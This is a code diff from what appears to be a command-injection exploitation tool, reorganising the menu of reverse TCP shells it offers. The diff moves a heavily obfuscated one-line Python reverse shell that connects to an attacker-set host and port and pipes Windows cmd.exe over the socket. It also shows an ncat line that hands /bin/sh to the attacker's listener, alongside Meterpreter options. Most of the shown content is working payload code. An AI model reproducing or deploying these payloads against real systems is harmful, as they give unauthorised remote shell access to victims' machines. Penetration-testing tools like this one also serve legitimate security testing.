@@ -302,17 +302,17 @@ def other_reverse_shells(separator):
302
302
303
303
while True :
304
304
other_shell = _input ("""
305
- ---[ """ + Style .BRIGHT + Fore .BLUE + """Unix-like reverse TCP shells""" + Style .RESET_ALL + """ ]---
305
+ ---[ """ + Style .BRIGHT + Fore .BLUE + """Reverse TCP shells""" + Style .RESET_ALL + """ ]---
306
306
Type '""" + Style .BRIGHT + """1""" + Style .RESET_ALL + """' to use a PHP reverse TCP shell.
307
307
Type '""" + Style .BRIGHT + """2""" + Style .RESET_ALL + """' to use a Perl reverse TCP shell.
308
308
Type '""" + Style .BRIGHT + """3""" + Style .RESET_ALL + """' to use a Ruby reverse TCP shell.
309
309
Type '""" + Style .BRIGHT + """4""" + Style .RESET_ALL + """' to use a Python reverse TCP shell.
310
310
Type '""" + Style .BRIGHT + """5""" + Style .RESET_ALL + """' to use a Socat reverse TCP shell.
311
311
Type '""" + Style .BRIGHT + """6""" + Style .RESET_ALL + """' to use a Bash reverse TCP shell.
312
312
Type '""" + Style .BRIGHT + """7""" + Style .RESET_ALL + """' to use a Ncat reverse TCP shell.
313
- \n ---[ """ + Style .BRIGHT + Fore . BLUE + """Windows reverse TCP shells """ + Style .RESET_ALL + """ ]---
314
- Type ' """ + Style .BRIGHT + """8 """ + Style .RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
315
- Type '""" + Style .BRIGHT + """9""" + Style .RESET_ALL + """' to use a Python reverse TCP shell.
313
+ Type ' """ + Style .BRIGHT + """8 """ + Style .RESET_ALL + """' to use a Windows Python reverse TCP shell.
314
+ \n ---[ """ + Style .BRIGHT + Fore . BLUE + """Meterpreter reverse TCP shells """ + Style .RESET_ALL + """ ]---
315
+ Type '""" + Style .BRIGHT + """9""" + Style .RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
316
316
Type '""" + Style .BRIGHT + """10""" + Style .RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
317
317
Type '""" + Style .BRIGHT + """11""" + Style .RESET_ALL + """' to use a Windows meterpreter reverse TCP shell.
318
318
Type '""" + Style .BRIGHT + """12""" + Style .RESET_ALL + """' to use the web delivery script.
@@ -378,8 +378,41 @@ def other_reverse_shells(separator):
378
378
other_shell = "ncat " + settings .LHOST + " " + settings .LPORT + " -e /bin/sh"
379
379
break
380
380
381
- # PHP -reverse-shell (meterpreter)
381
+ # Windows Python -reverse-shell
382
382
elif other_shell == '8' :
383
+ data = " -c \" (lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
384
+ "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
385
+ " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
386
+ " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
387
+ " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
388
+ " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
389
+ " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
390
+ "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
391
+ "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
392
+ "for __g['p'] in [(subprocess.Popen(['\\ windows\\ system32\\ cmd.exe'], " \
393
+ " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
394
+ "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
395
+ "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
396
+ "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
397
+ "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
398
+ "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
399
+ "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
400
+ "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
401
+ "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
402
+ "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
403
+ "globals(), __import__('contextlib'))\" "
404
+
405
+ if not settings .TARGET_OS == "win" :
406
+ windows_only_attack_vector ()
407
+ continue
408
+ else :
409
+ if not settings .USER_DEFINED_PYTHON_DIR :
410
+ set_python_working_dir ()
411
+ other_shell = settings .WIN_PYTHON_DIR + data
412
+ break
413
+
414
+ # PHP-reverse-shell (meterpreter)
415
+ elif other_shell == '9' :
383
416
if not os .path .exists (settings .METASPLOIT_PATH ):
384
417
error_msg = settings .METASPLOIT_ERROR_MSG
385
418
print (settings .print_error_msg (error_msg ))
@@ -421,40 +454,6 @@ def other_reverse_shells(separator):
421
454
print (settings .SINGLE_WHITESPACE )
422
455
break
423
456
424
- # Python-reverse-shell
425
- elif other_shell == '9' :
426
- data = " -c \" (lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
427
- "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
428
- " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
429
- " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
430
- " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
431
- " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
432
- " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
433
- "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
434
- "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
435
- "for __g['p'] in [(subprocess.Popen(['\\ windows\\ system32\\ cmd.exe'], " \
436
- " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
437
- "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
438
- "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
439
- "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
440
- "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
441
- "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
442
- "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
443
- "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
444
- "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
445
- "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
446
- "globals(), __import__('contextlib'))\" "
447
-
448
- if settings .TARGET_OS == "win" :
449
- if not settings .USER_DEFINED_PYTHON_DIR :
450
- set_python_working_dir ()
451
- other_shell = settings .WIN_PYTHON_DIR + data
452
- else :
453
- if not settings .USER_DEFINED_PYTHON_INTERPRETER :
454
- set_python_interpreter ()
455
- other_shell = settings .LINUX_PYTHON_INTERPRETER + data
456
- break
457
-
458
457
# Python-reverse-shell (meterpreter)
459
458
elif other_shell == '10' :
460
459
if not os .path .exists (settings .METASPLOIT_PATH ):
0 commit comments